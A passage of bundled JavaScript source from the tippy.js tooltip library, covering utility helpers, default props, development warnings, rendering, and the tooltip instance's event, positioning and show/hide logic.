right}.tippy-box[data-inertia][data-state=visible]{transition-timing-function:cubic-bezier(.54,1.5,.38,1.11)}.tippy-arrow{width:16px;height:16px;color:#333}.tippy-arrow:before{content:\"\";position:absolute;border-color:transparent;border-style:solid}.tippy-content{position:relative;padding:5px 9px;z-index:1}"; function injectCSS(css) { var style = document.createElement('style'); style.textContent = css; style.setAttribute('data-tippy-stylesheet', ''); var head = document.head; var firstStyleOrLinkTag = document.querySelector('head>style,head>link'); if (firstStyleOrLinkTag) { head.insertBefore(style, firstStyleOrLinkTag); } else { head.appendChild(style); } } var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined'; var isIE11 = isBrowser ? // @ts-ignore !!window.msCrypto : false; var ROUND_ARROW = '<svg width="16" height="6" xmlns="http://www.w3.org/2000/svg"><path d="M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z"></svg>'; var BOX_CLASS = "tippy-box"; var CONTENT_CLASS = "tippy-content"; var BACKDROP_CLASS = "tippy-backdrop"; var ARROW_CLASS = "tippy-arrow"; var SVG_ARROW_CLASS = "tippy-svg-arrow"; var TOUCH_OPTIONS = { passive: true, capture: true }; var TIPPY_DEFAULT_APPEND_TO = function TIPPY_DEFAULT_APPEND_TO() { return document.body; }; function hasOwnProperty(obj, key) { return {}.hasOwnProperty.call(obj, key); } function getValueAtIndexOrReturn(value, index, defaultValue) { if (Array.isArray(value)) { var v = value[index]; return v == null ? Array.isArray(defaultValue) ? defaultValue[index] : defaultValue : v; } return value; } function isType(value, type) { var str = {}.toString.call(value); return str.indexOf('[object') === 0 && str.indexOf(type + "]") > -1; } function invokeWithArgsOrReturn(value, args) { return typeof value === 'function' ? value.apply(void 0, args) : value; } function debounce(fn, ms) { // Avoid wrapping in `setTimeout` if ms is 0 anyway if (ms === 0) { return fn; } var timeout; return function (arg) { clearTimeout(timeout); timeout = setTimeout(function () { fn(arg); }, ms); }; } function removeProperties(obj, keys) { var clone = Object.assign({}, obj); keys.forEach(function (key) { delete clone[key]; }); return clone; } function splitBySpaces(value) { return value.split(/\s+/).filter(Boolean); } function normalizeToArray(value) { return [].concat(value); } function pushIfUnique(arr, value) { if (arr.indexOf(value) === -1) { arr.push(value); } } function unique(arr) { return arr.filter(function (item, index) { return arr.indexOf(item) === index; }); } function getBasePlacement(placement) { return placement.split('-')[0]; } function arrayFrom(value) { return [].slice.call(value); } function removeUndefinedProps(obj) { return Object.keys(obj).reduce(function (acc, key) { if (obj[key] !== undefined) { acc[key] = obj[key]; } return acc; }, {}); } function div() { return document.createElement('div'); } function isElement(value) { return ['Element', 'Fragment'].some(function (type) { return isType(value, type); }); } function isNodeList(value) { return isType(value, 'NodeList'); } function isMouseEvent(value) { return isType(value, 'MouseEvent'); } function isReferenceElement(value) { return !!(value && value._tippy && value._tippy.reference === value); } function getArrayOfElements(value) { if (isElement(value)) { return [value]; } if (isNodeList(value)) { return arrayFrom(value); } if (Array.isArray(value)) { return value; } return arrayFrom(document.querySelectorAll(value)); } function setTransitionDuration(els, value) { els.forEach(function (el) { if (el) { el.style.transitionDuration = value + "ms"; } }); } function setVisibilityState(els, state) { els.forEach(function (el) { if (el) { el.setAttribute('data-state', state); } }); } function getOwnerDocument(elementOrElements) { var _element$ownerDocumen; var _normalizeToArray = normalizeToArray(elementOrElements), element = _normalizeToArray[0]; // Elements created via a <template> have an ownerDocument with no reference to the body return element != null && (_element$ownerDocumen = element.ownerDocument) != null && _element$ownerDocumen.body ? element.ownerDocument : document; } function isCursorOutsideInteractiveBorder(popperTreeData, event) { var clientX = event.clientX, clientY = event.clientY; return popperTreeData.every(function (_ref) { var popperRect = _ref.popperRect, popperState = _ref.popperState, props = _ref.props; var interactiveBorder = props.interactiveBorder; var basePlacement = getBasePlacement(popperState.placement); var offsetData = popperState.modifiersData.offset; if (!offsetData) { return true; } var topDistance = basePlacement === 'bottom' ? offsetData.top.y : 0; var bottomDistance = basePlacement === 'top' ? offsetData.bottom.y : 0; var leftDistance = basePlacement === 'right' ? offsetData.left.x : 0; var rightDistance = basePlacement === 'left' ? offsetData.right.x : 0; var exceedsTop = popperRect.top - clientY + topDistance > interactiveBorder; var exceedsBottom = clientY - popperRect.bottom - bottomDistance > interactiveBorder; var exceedsLeft = popperRect.left - clientX + leftDistance > interactiveBorder; var exceedsRight = clientX - popperRect.right - rightDistance > interactiveBorder; return exceedsTop || exceedsBottom || exceedsLeft || exceedsRight; }); } function updateTransitionEndListener(box, action, listener) { var method = action + "EventListener"; // some browsers apparently support `transition` (unprefixed) but only fire // `webkitTransitionEnd`... ['transitionend', 'webkitTransitionEnd'].forEach(function (event) { box[method](event, listener); }); } /** * Compared to xxx.contains, this function works for dom structures with shadow * dom */ function actualContains(parent, child) { var target = child; while (target) { var _target$getRootNode; if (parent.contains(target)) { return true; } target = target.getRootNode == null ? void 0 : (_target$getRootNode = target.getRootNode()) == null ? void 0 : _target$getRootNode.host; } return false; } var currentInput = { isTouch: false }; var lastMouseMoveTime = 0; /** * When a `touchstart` event is fired, it's assumed the user is using touch * input. We'll bind a `mousemove` event listener to listen for mouse input in * the future. This way, the `isTouch` property is fully dynamic and will handle * hybrid devices that use a mix of touch + mouse input. */ function onDocumentTouchStart() { if (currentInput.isTouch) { return; } currentInput.isTouch = true; if (window.performance) { document.addEventListener('mousemove', onDocumentMouseMove); } } /** * When two `mousemove` event are fired consecutively within 20ms, it's assumed * the user is using mouse input again. `mousemove` can fire on touch devices as * well, but very rarely that quickly. */ function onDocumentMouseMove() { var now = performance.now(); if (now - lastMouseMoveTime < 20) { currentInput.isTouch = false; document.removeEventListener('mousemove', onDocumentMouseMove); } lastMouseMoveTime = now; } /** * When an element is in focus and has a tippy, leaving the tab/window and * returning causes it to show again. For mouse users this is unexpected, but * for keyboard use it makes sense. * TODO: find a better technique to solve this problem */ function onWindowBlur() { var activeElement = document.activeElement; if (isReferenceElement(activeElement)) { var instance = activeElement._tippy; if (activeElement.blur && !instance.state.isVisible) { activeElement.blur(); } } } function bindGlobalEventListeners() { document.addEventListener('touchstart', onDocumentTouchStart, TOUCH_OPTIONS); window.addEventListener('blur', onWindowBlur); } function createMemoryLeakWarning(method) { var txt = method === 'destroy' ? 'n already-' : ' '; return [method + "() was called on a" + txt + "destroyed instance. This is a no-op but", 'indicates a potential memory leak.'].join(' '); } function clean(value) { var spacesAndTabs = /[ \t]{2,}/g; var lineStartWithSpaces = /^[ \t]*/gm; return value.replace(spacesAndTabs, ' ').replace(lineStartWithSpaces, '').trim(); } function getDevMessage(message) { return clean("\n %ctippy.js\n\n %c" + clean(message) + "\n\n %c\uD83D\uDC77\u200D This is a development-only message. It will be removed in production.\n "); } function getFormattedMessage(message) { return [getDevMessage(message), // title 'color: #00C584; font-size: 1.3em; font-weight: bold;', // message 'line-height: 1.5', // footer 'color: #a6a095;']; } // Assume warnings and errors never have the same message var visitedMessages; { resetVisitedMessages(); } function resetVisitedMessages() { visitedMessages = new Set(); } function warnWhen(condition, message) { if (condition && !visitedMessages.has(message)) { var _console; visitedMessages.add(message); (_console = console).warn.apply(_console, getFormattedMessage(message)); } } function errorWhen(condition, message) { if (condition && !visitedMessages.has(message)) { var _console2; visitedMessages.add(message); (_console2 = console).error.apply(_console2, getFormattedMessage(message)); } } function validateTargets(targets) { var didPassFalsyValue = !targets; var didPassPlainObject = Object.prototype.toString.call(targets) === '[object Object]' && !targets.addEventListener; errorWhen(didPassFalsyValue, ['tippy() was passed', '`' + String(targets) + '`', 'as its targets (first) argument. Valid types are: String, Element,', 'Element[], or NodeList.'].join(' ')); errorWhen(didPassPlainObject, ['tippy() was passed a plain object which is not supported as an argument', 'for virtual positioning. Use props.getReferenceClientRect instead.'].join(' ')); } var pluginProps = { animateFill: false, followCursor: false, inlinePositioning: false, sticky: false }; var renderProps = { allowHTML: false, animation: 'fade', arrow: true, content: '', inertia: false, maxWidth: 350, role: 'tooltip', theme: '', zIndex: 9999 }; var defaultProps = Object.assign({ appendTo: TIPPY_DEFAULT_APPEND_TO, aria: { content: 'auto', expanded: 'auto' }, delay: 0, duration: [300, 250], getReferenceClientRect: null, hideOnClick: true, ignoreAttributes: false, interactive: false, interactiveBorder: 2, interactiveDebounce: 0, moveTransition: '', offset: [0, 10], onAfterUpdate: function onAfterUpdate() {}, onBeforeUpdate: function onBeforeUpdate() {}, onCreate: function onCreate() {}, onDestroy: function onDestroy() {}, onHidden: function onHidden() {}, onHide: function onHide() {}, onMount: function onMount() {}, onShow: function onShow() {}, onShown: function onShown() {}, onTrigger: function onTrigger() {}, onUntrigger: function onUntrigger() {}, onClickOutside: function onClickOutside() {}, placement: 'top', plugins: [], popperOptions: {}, render: null, showOnCreate: false, touch: true, trigger: 'mouseenter focus', triggerTarget: null }, pluginProps, renderProps); var defaultKeys = Object.keys(defaultProps); var setDefaultProps = function setDefaultProps(partialProps) { /* istanbul ignore else */ { validateProps(partialProps, []); } var keys = Object.keys(partialProps); keys.forEach(function (key) { defaultProps[key] = partialProps[key]; }); }; function getExtendedPassedProps(passedProps) { var plugins = passedProps.plugins || []; var pluginProps = plugins.reduce(function (acc, plugin) { var name = plugin.name, defaultValue = plugin.defaultValue; if (name) { var _name; acc[name] = passedProps[name] !== undefined ? passedProps[name] : (_name = defaultProps[name]) != null ? _name : defaultValue; } return acc; }, {}); return Object.assign({}, passedProps, pluginProps); } function getDataAttributeProps(reference, plugins) { var propKeys = plugins ? Object.keys(getExtendedPassedProps(Object.assign({}, defaultProps, { plugins: plugins }))) : defaultKeys; var props = propKeys.reduce(function (acc, key) { var valueAsString = (reference.getAttribute("data-tippy-" + key) || '').trim(); if (!valueAsString) { return acc; } if (key === 'content') { acc[key] = valueAsString; } else { try { acc[key] = JSON.parse(valueAsString); } catch (e) { acc[key] = valueAsString; } } return acc; }, {}); return props; } function evaluateProps(reference, props) { var out = Object.assign({}, props, { content: invokeWithArgsOrReturn(props.content, [reference]) }, props.ignoreAttributes ? {} : getDataAttributeProps(reference, props.plugins)); out.aria = Object.assign({}, defaultProps.aria, out.aria); out.aria = { expanded: out.aria.expanded === 'auto' ? props.interactive : out.aria.expanded, content: out.aria.content === 'auto' ? props.interactive ? null : 'describedby' : out.aria.content }; return out; } function validateProps(partialProps, plugins) { if (partialProps === void 0) { partialProps = {}; } if (plugins === void 0) { plugins = []; } var keys = Object.keys(partialProps); keys.forEach(function (prop) { var nonPluginProps = removeProperties(defaultProps, Object.keys(pluginProps)); var didPassUnknownProp = !hasOwnProperty(nonPluginProps, prop); // Check if the prop exists in `plugins` if (didPassUnknownProp) { didPassUnknownProp = plugins.filter(function (plugin) { return plugin.name === prop; }).length === 0; } warnWhen(didPassUnknownProp, ["`" + prop + "`", "is not a valid prop. You may have spelled it incorrectly, or if it's", 'a plugin, forgot to pass it in an array as props.plugins.', '\n\n', 'All props: https://atomiks.github.io/tippyjs/v6/all-props/\n', 'Plugins: https://atomiks.github.io/tippyjs/v6/plugins/'].join(' ')); }); } var innerHTML = function innerHTML() { return 'innerHTML'; }; function dangerouslySetInnerHTML(element, html) { element[innerHTML()] = html; } function createArrowElement(value) { var arrow = div(); if (value === true) { arrow.className = ARROW_CLASS; } else { arrow.className = SVG_ARROW_CLASS; if (isElement(value)) { arrow.appendChild(value); } else { dangerouslySetInnerHTML(arrow, value); } } return arrow; } function setContent(content, props) { if (isElement(props.content)) { dangerouslySetInnerHTML(content, ''); content.appendChild(props.content); } else if (typeof props.content !== 'function') { if (props.allowHTML) { dangerouslySetInnerHTML(content, props.content); } else { content.textContent = props.content; } } } function getChildren(popper) { var box = popper.firstElementChild; var boxChildren = arrayFrom(box.children); return { box: box, content: boxChildren.find(function (node) { return node.classList.contains(CONTENT_CLASS); }), arrow: boxChildren.find(function (node) { return node.classList.contains(ARROW_CLASS) || node.classList.contains(SVG_ARROW_CLASS); }), backdrop: boxChildren.find(function (node) { return node.classList.contains(BACKDROP_CLASS); }) }; } function render(instance) { var popper = div(); var box = div(); box.className = BOX_CLASS; box.setAttribute('data-state', 'hidden'); box.setAttribute('tabindex', '-1'); var content = div(); content.className = CONTENT_CLASS; content.setAttribute('data-state', 'hidden'); setContent(content, instance.props); popper.appendChild(box); box.appendChild(content); onUpdate(instance.props, instance.props); function onUpdate(prevProps, nextProps) { var _getChildren = getChildren(popper), box = _getChildren.box, content = _getChildren.content, arrow = _getChildren.arrow; if (nextProps.theme) { box.setAttribute('data-theme', nextProps.theme); } else { box.removeAttribute('data-theme'); } if (typeof nextProps.animation === 'string') { box.setAttribute('data-animation', nextProps.animation); } else { box.removeAttribute('data-animation'); } if (nextProps.inertia) { box.setAttribute('data-inertia', ''); } else { box.removeAttribute('data-inertia'); } box.style.maxWidth = typeof nextProps.maxWidth === 'number' ? nextProps.maxWidth + "px" : nextProps.maxWidth; if (nextProps.role) { box.setAttribute('role', nextProps.role); } else { box.removeAttribute('role'); } if (prevProps.content !== nextProps.content || prevProps.allowHTML !== nextProps.allowHTML) { setContent(content, instance.props); } if (nextProps.arrow) { if (!arrow) { box.appendChild(createArrowElement(nextProps.arrow)); } else if (prevProps.arrow !== nextProps.arrow) { box.removeChild(arrow); box.appendChild(createArrowElement(nextProps.arrow)); } } else if (arrow) { box.removeChild(arrow); } } return { popper: popper, onUpdate: onUpdate }; } // Runtime check to identify if the render function is the default one; this // way we can apply default CSS transitions logic and it can be tree-shaken away render.$$tippy = true; var idCounter = 1; var mouseMoveListeners = []; // Used by `hideAll()` var mountedInstances = []; function createTippy(reference, passedProps) { var props = evaluateProps(reference, Object.assign({}, defaultProps, getExtendedPassedProps(removeUndefinedProps(passedProps)))); // =========================================================================== // 🔒 Private members // =========================================================================== var showTimeout; var hideTimeout; var scheduleHideAnimationFrame; var isVisibleFromClick = false; var didHideDueToDocumentMouseDown = false; var didTouchMove = false; var ignoreOnFirstUpdate = false; var lastTriggerEvent; var currentTransitionEndListener; var onFirstUpdate; var listeners = []; var debouncedOnMouseMove = debounce(onMouseMove, props.interactiveDebounce); var currentTarget; // =========================================================================== // 🔑 Public members // =========================================================================== var id = idCounter++; var popperInstance = null; var plugins = unique(props.plugins); var state = { // Is the instance currently enabled? isEnabled: true, // Is the tippy currently showing and not transitioning out? isVisible: false, // Has the instance been destroyed? isDestroyed: false, // Is the tippy currently mounted to the DOM? isMounted: false, // Has the tippy finished transitioning in? isShown: false }; var instance = { // properties id: id, reference: reference, popper: div(), popperInstance: popperInstance, props: props, state: state, plugins: plugins, // methods clearDelayTimeouts: clearDelayTimeouts, setProps: setProps, setContent: setContent, show: show, hide: hide, hideWithInteractivity: hideWithInteractivity, enable: enable, disable: disable, unmount: unmount, destroy: destroy }; // TODO: Investigate why this early return causes a TDZ error in the tests — // it doesn't seem to happen in the browser /* istanbul ignore if */ if (!props.render) { { errorWhen(true, 'render() function has not been supplied.'); } return instance; } // =========================================================================== // Initial mutations // =========================================================================== var _props$render = props.render(instance), popper = _props$render.popper, onUpdate = _props$render.onUpdate; popper.setAttribute('data-tippy-root', ''); popper.id = "tippy-" + instance.id; instance.popper = popper; reference._tippy = instance; popper._tippy = instance; var pluginsHooks = plugins.map(function (plugin) { return plugin.fn(instance); }); var hasAriaExpanded = reference.hasAttribute('aria-expanded'); addListeners(); handleAriaExpandedAttribute(); handleStyles(); invokeHook('onCreate', [instance]); if (props.showOnCreate) { scheduleShow(); } // Prevent a tippy with a delay from hiding if the cursor left then returned // before it started hiding popper.addEventListener('mouseenter', function () { if (instance.props.interactive && instance.state.isVisible) { instance.clearDelayTimeouts(); } }); popper.addEventListener('mouseleave', function () { if (instance.props.interactive && instance.props.trigger.indexOf('mouseenter') >= 0) { getDocument().addEventListener('mousemove', debouncedOnMouseMove); } }); return instance; // =========================================================================== // 🔒 Private methods // =========================================================================== function getNormalizedTouchSettings() { var touch = instance.props.touch; return Array.isArray(touch) ? touch : [touch, 0]; } function getIsCustomTouchBehavior() { return getNormalizedTouchSettings()[0] === 'hold'; } function getIsDefaultRenderFn() { var _instance$props$rende; // @ts-ignore return !!((_instance$props$rende = instance.props.render) != null && _instance$props$rende.$$tippy); } function getCurrentTarget() { return currentTarget || reference; } function getDocument() { var parent = getCurrentTarget().parentNode; return parent ? getOwnerDocument(parent) : document; } function getDefaultTemplateChildren() { return getChildren(popper); } function getDelay(isShow) { // For touch or keyboard input, force `0` delay for UX reasons // Also if the instance is mounted but not visible (transitioning out), // ignore delay if (instance.state.isMounted && !instance.state.isVisible || currentInput.isTouch || lastTriggerEvent && lastTriggerEvent.type === 'focus') { return 0; } return getValueAtIndexOrReturn(instance.props.delay, isShow ? 0 : 1, defaultProps.delay); } function handleStyles(fromHide) { if (fromHide === void 0) { fromHide = false; } popper.style.pointerEvents = instance.props.interactive && !fromHide ? '' : 'none'; popper.style.zIndex = "" + instance.props.zIndex; } function invokeHook(hook, args, shouldInvokePropsHook) { if (shouldInvokePropsHook === void 0) { shouldInvokePropsHook = true; } pluginsHooks.forEach(function (pluginHooks) { if (pluginHooks[hook]) { pluginHooks[hook].apply(pluginHooks, args); } }); if (shouldInvokePropsHook) { var _instance$props; (_instance$props = instance.props)[hook].apply(_instance$props, args); } } function handleAriaContentAttribute() { var aria = instance.props.aria; if (!aria.content) { return; } var attr = "aria-" + aria.content; var id = popper.id; var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { var currentValue = node.getAttribute(attr); if (instance.state.isVisible) { node.setAttribute(attr, currentValue ? currentValue + " " + id : id); } else { var nextValue = currentValue && currentValue.replace(id, '').trim(); if (nextValue) { node.setAttribute(attr, nextValue); } else { node.removeAttribute(attr); } } }); } function handleAriaExpandedAttribute() { if (hasAriaExpanded || !instance.props.aria.expanded) { return; } var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { if (instance.props.interactive) { node.setAttribute('aria-expanded', instance.state.isVisible && node === getCurrentTarget() ? 'true' : 'false'); } else { node.removeAttribute('aria-expanded'); } }); } function cleanupInteractiveMouseListeners() { getDocument().removeEventListener('mousemove', debouncedOnMouseMove); mouseMoveListeners = mouseMoveListeners.filter(function (listener) { return listener !== debouncedOnMouseMove; }); } function onDocumentPress(event) { // Moved finger to scroll instead of an intentional tap outside if (currentInput.isTouch) { if (didTouchMove || event.type === 'mousedown') { return; } } var actualTarget = event.composedPath && event.composedPath()[0] || event.target; // Clicked on interactive popper if (instance.props.interactive && actualContains(popper, actualTarget)) { return; } // Clicked on the event listeners target if (normalizeToArray(instance.props.triggerTarget || reference).some(function (el) { return actualContains(el, actualTarget); })) { if (currentInput.isTouch) { return; } if (instance.state.isVisible && instance.props.trigger.indexOf('click') >= 0) { return; } } else { invokeHook('onClickOutside', [instance, event]); } if (instance.props.hideOnClick === true) { instance.clearDelayTimeouts(); instance.hide(); // `mousedown` event is fired right before `focus` if pressing the // currentTarget. This lets a tippy with `focus` trigger know that it // should not show didHideDueToDocumentMouseDown = true; setTimeout(function () { didHideDueToDocumentMouseDown = false; }); // The listener gets added in `scheduleShow()`, but this may be hiding it // before it shows, and hide()'s early bail-out behavior can prevent it // from being cleaned up if (!instance.state.isMounted) { removeDocumentPress(); } } } function onTouchMove() { didTouchMove = true; } function onTouchStart() { didTouchMove = false; } function addDocumentPress() { var doc = getDocument(); doc.addEventListener('mousedown', onDocumentPress, true); doc.addEventListener('touchend', onDocumentPress, TOUCH_OPTIONS); doc.addEventListener('touchstart', onTouchStart, TOUCH_OPTIONS); doc.addEventListener('touchmove', onTouchMove, TOUCH_OPTIONS); } function removeDocumentPress() { var doc = getDocument(); doc.removeEventListener('mousedown', onDocumentPress, true); doc.removeEventListener('touchend', onDocumentPress, TOUCH_OPTIONS); doc.removeEventListener('touchstart', onTouchStart, TOUCH_OPTIONS); doc.removeEventListener('touchmove', onTouchMove, TOUCH_OPTIONS); } function onTransitionedOut(duration, callback) { onTransitionEnd(duration, function () { if (!instance.state.isVisible && popper.parentNode && popper.parentNode.contains(popper)) { callback(); } }); } function onTransitionedIn(duration, callback) { onTransitionEnd(duration, callback); } function onTransitionEnd(duration, callback) { var box = getDefaultTemplateChildren().box; function listener(event) { if (event.target === box) { updateTransitionEndListener(box, 'remove', listener); callback(); } } // Make callback synchronous if duration is 0 // `transitionend` won't fire otherwise if (duration === 0) { return callback(); } updateTransitionEndListener(box, 'remove', currentTransitionEndListener); updateTransitionEndListener(box, 'add', listener); currentTransitionEndListener = listener; } function on(eventType, handler, options) { if (options === void 0) { options = false; } var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { node.addEventListener(eventType, handler, options); listeners.push({ node: node, eventType: eventType, handler: handler, options: options }); }); } function addListeners() { if (getIsCustomTouchBehavior()) { on('touchstart', onTrigger, { passive: true }); on('touchend', onMouseLeave, { passive: true }); } splitBySpaces(instance.props.trigger).forEach(function (eventType) { if (eventType === 'manual') { return; } on(eventType, onTrigger); switch (eventType) { case 'mouseenter': on('mouseleave', onMouseLeave); break; case 'focus': on(isIE11 ? 'focusout' : 'blur', onBlurOrFocusOut); break; case 'focusin': on('focusout', onBlurOrFocusOut); break; } }); } function removeListeners() { listeners.forEach(function (_ref) { var node = _ref.node, eventType = _ref.eventType, handler = _ref.handler, options = _ref.options; node.removeEventListener(eventType, handler, options); }); listeners = []; } function onTrigger(event) { var _lastTriggerEvent; var shouldScheduleClickHide = false; if (!instance.state.isEnabled || isEventListenerStopped(event) || didHideDueToDocumentMouseDown) { return; } var wasFocused = ((_lastTriggerEvent = lastTriggerEvent) == null ? void 0 : _lastTriggerEvent.type) === 'focus'; lastTriggerEvent = event; currentTarget = event.currentTarget; handleAriaExpandedAttribute(); if (!instance.state.isVisible && isMouseEvent(event)) { // If scrolling, `mouseenter` events can be fired if the cursor lands // over a new target, but `mousemove` events don't get fired. This // causes interactive tooltips to get stuck open until the cursor is // moved mouseMoveListeners.forEach(function (listener) { return listener(event); }); } // Toggle show/hide when clicking click-triggered tooltips if (event.type === 'click' && (instance.props.trigger.indexOf('mouseenter') < 0 || isVisibleFromClick) && instance.props.hideOnClick !== false && instance.state.isVisible) { shouldScheduleClickHide = true; } else { scheduleShow(event); } if (event.type === 'click') { isVisibleFromClick = !shouldScheduleClickHide; } if (shouldScheduleClickHide && !wasFocused) { scheduleHide(event); } } function onMouseMove(event) { var target = event.target; var isCursorOverReferenceOrPopper = getCurrentTarget().contains(target) || popper.contains(target); if (event.type === 'mousemove' && isCursorOverReferenceOrPopper) { return; } var popperTreeData = getNestedPopperTree().concat(popper).map(function (popper) { var _instance$popperInsta; var instance = popper._tippy; var state = (_instance$popperInsta = instance.popperInstance) == null ? void 0 : _instance$popperInsta.state; if (state) { return { popperRect: popper.getBoundingClientRect(), popperState: state, props: props }; } return null; }).filter(Boolean); if (isCursorOutsideInteractiveBorder(popperTreeData, event)) { cleanupInteractiveMouseListeners(); scheduleHide(event); } } function onMouseLeave(event) { var shouldBail = isEventListenerStopped(event) || instance.props.trigger.indexOf('click') >= 0 && isVisibleFromClick; if (shouldBail) { return; } if (instance.props.interactive) { instance.hideWithInteractivity(event); return; } scheduleHide(event); } function onBlurOrFocusOut(event) { if (instance.props.trigger.indexOf('focusin') < 0 && event.target !== getCurrentTarget()) { return; } // If focus was moved to within the popper if (instance.props.interactive && event.relatedTarget && popper.contains(event.relatedTarget)) { return; } scheduleHide(event); } function isEventListenerStopped(event) { return currentInput.isTouch ? getIsCustomTouchBehavior() !== event.type.indexOf('touch') >= 0 : false; } function createPopperInstance() { destroyPopperInstance(); var _instance$props2 = instance.props, popperOptions = _instance$props2.popperOptions, placement = _instance$props2.placement, offset = _instance$props2.offset, getReferenceClientRect = _instance$props2.getReferenceClientRect, moveTransition = _instance$props2.moveTransition; var arrow = getIsDefaultRenderFn() ? getChildren(popper).arrow : null; var computedReference = getReferenceClientRect ? { getBoundingClientRect: getReferenceClientRect, contextElement: getReferenceClientRect.contextElement || getCurrentTarget() } : reference; var tippyModifier = { name: '$$tippy', enabled: true, phase: 'beforeWrite', requires: ['computeStyles'], fn: function fn(_ref2) { var state = _ref2.state; if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh = getDefaultTemplateChildren(), box = _getDefaultTemplateCh.box; ['placement', 'reference-hidden', 'escaped'].forEach(function (attr) { if (attr === 'placement') { box.setAttribute('data-placement', state.placement); } else { if (state.attributes.popper["data-popper-" + attr]) { box.setAttribute("data-" + attr, ''); } else { box.removeAttribute("data-" + attr); } } }); state.attributes.popper = {}; } } }; var modifiers = [{ name: 'offset', options: { offset: offset } }, { name: 'preventOverflow', options: { padding: { top: 2, bottom: 2, left: 5, right: 5 } } }, { name: 'flip', options: { padding: 5 } }, { name: 'computeStyles', options: { adaptive: !moveTransition } }, tippyModifier]; if (getIsDefaultRenderFn() && arrow) { modifiers.push({ name: 'arrow', options: { element: arrow, padding: 3 } }); } modifiers.push.apply(modifiers, (popperOptions == null ? void 0 : popperOptions.modifiers) || []); instance.popperInstance = core.createPopper(computedReference, popper, Object.assign({}, popperOptions, { placement: placement, onFirstUpdate: onFirstUpdate, modifiers: modifiers })); } function destroyPopperInstance() { if (instance.popperInstance) { instance.popperInstance.destroy(); instance.popperInstance = null; } } function mount() { var appendTo = instance.props.appendTo; var parentNode; // By default, we'll append the popper to the triggerTargets's parentNode so // it's directly after the reference element so the elements inside the // tippy can be tabbed to // If there are clipping issues, the user can specify a different appendTo // and ensure focus management is handled correctly manually var node = getCurrentTarget(); if (instance.props.interactive && appendTo === TIPPY_DEFAULT_APPEND_TO || appendTo === 'parent') { parentNode = node.parentNode; } else { parentNode = invokeWithArgsOrReturn(appendTo, [node]); } // The popper element needs to exist on the DOM before its position can be // updated as Popper needs to read its dimensions if (!parentNode.contains(popper)) { parentNode.appendChild(popper); } instance.state.isMounted = true; createPopperInstance(); /* istanbul ignore else */ { // Accessibility check warnWhen(instance.props.interactive && appendTo === defaultProps.appendTo && node.nextElementSibling !== popper, ['Interactive tippy element may not be accessible via keyboard', 'navigation because it is not directly after the reference element', 'in the DOM source order.', '\n\n', 'Using a wrapper <div> or <span> tag around the reference element', 'solves this by creating a new parentNode context.', '\n\n', 'Specifying `appendTo: document.body` silences this warning, but it', 'assumes you are using a focus management solution to handle', 'keyboard navigation.', '\n\n', 'See: https://atomiks.github.io/tippyjs/v6/accessibility/#interactivity'].join(' ')); } } function getNestedPopperTree() { return arrayFrom(popper.querySelectorAll('[data-tippy-root]')); } function scheduleShow(event) { instance.clearDelayTimeouts(); if (event) { invokeHook('onTrigger', [instance, event]); } addDocumentPress(); var delay = getDelay(true); var _getNormalizedTouchSe = getNormalizedTouchSettings(), touchValue = _getNormalizedTouchSe[0], touchDelay = _getNormalizedTouchSe[1]; if (currentInput.isTouch && touchValue === 'hold' && touchDelay) { delay = touchDelay; } if (delay) { showTimeout = setTimeout(function () { instance.show(); }, delay); } else { instance.show(); } } function scheduleHide(event) { instance.clearDelayTimeouts(); invokeHook('onUntrigger', [instance, event]); if (!instance.state.isVisible) { removeDocumentPress(); return; } // For interactive tippies, scheduleHide is added to a document.body handler // from onMouseLeave so must intercept scheduled hides from mousemove/leave // events when trigger contains mouseenter and click, and the tip is // currently shown as a result of a click. if (instance.props.trigger.indexOf('mouseenter') >= 0 && instance.props.trigger.indexOf('click') >= 0 && ['mouseleave', 'mousemove'].indexOf(event.type) >= 0 && isVisibleFromClick) { return; } var delay = getDelay(false); if (delay) { hideTimeout = setTimeout(function () { if (instance.state.isVisible) { instance.hide(); } }, delay); } else { // Fixes a `transitionend` problem when it fires 1 frame too // late sometimes, we don't want hide() to be called. scheduleHideAnimationFrame = requestAnimationFrame(function () { instance.hide(); }); } } // =========================================================================== // 🔑 Public methods // =========================================================================== function enable() { instance.state.isEnabled = true; } function disable() { // Disabling the instance should also hide it // https://github.com/atomiks/tippy.js-react/issues/106 instance.hide(); instance.state.isEnabled = false; } function clearDelayTimeouts() { clearTimeout(showTimeout); clearTimeout(hideTimeout); cancelAnimationFrame(scheduleHideAnimationFrame); } function setProps(partialProps) { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('setProps')); } if (instance.state.isDestroyed) { return; } invokeHook('onBeforeUpdate', [instance, partialProps]); removeListeners(); var prevProps = instance.props; var nextProps = evaluateProps(reference, Object.assign({}, prevProps, removeUndefinedProps(partialProps), { ignoreAttributes: true })); instance.props = nextProps; addListeners(); if (prevProps.interactiveDebounce !== nextProps.interactiveDebounce) { cleanupInteractiveMouseListeners(); debouncedOnMouseMove = debounce(onMouseMove, nextProps.interactiveDebounce); } // Ensure stale aria-expanded attributes are removed if (prevProps.triggerTarget && !nextProps.triggerTarget) { normalizeToArray(prevProps.triggerTarget).forEach(function (node) { node.removeAttribute('aria-expanded'); }); } else if (nextProps.triggerTarget) { reference.removeAttribute('aria-expanded'); } handleAriaExpandedAttribute(); handleStyles(); if (onUpdate) { onUpdate(prevProps, nextProps); } if (instance.popperInstance) { createPopperInstance(); // Fixes an issue with nested tippies if they are all getting re-rendered, // and the nested ones get re-rendered first. // https://github.com/atomiks/tippyjs-react/issues/177 // TODO: find a cleaner / more efficient solution(!) getNestedPopperTree().forEach(function (nestedPopper) { // React (and other UI libs likely) requires a rAF wrapper as it flushes // its work in one requestAnimationFrame(nestedPopper._tippy.popperInstance.forceUpdate); }); } invokeHook('onAfterUpdate', [instance, partialProps]); } function setContent(content) { instance.setProps({ content: content }); } function show() { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('show')); } // Early bail-out var isAlreadyVisible = instance.state.isVisible; var isDestroyed = instance.state.isDestroyed; var isDisabled = !instance.state.isEnabled; var isTouchAndTouchDisabled = currentInput.isTouch && !instance.props.touch; var duration = 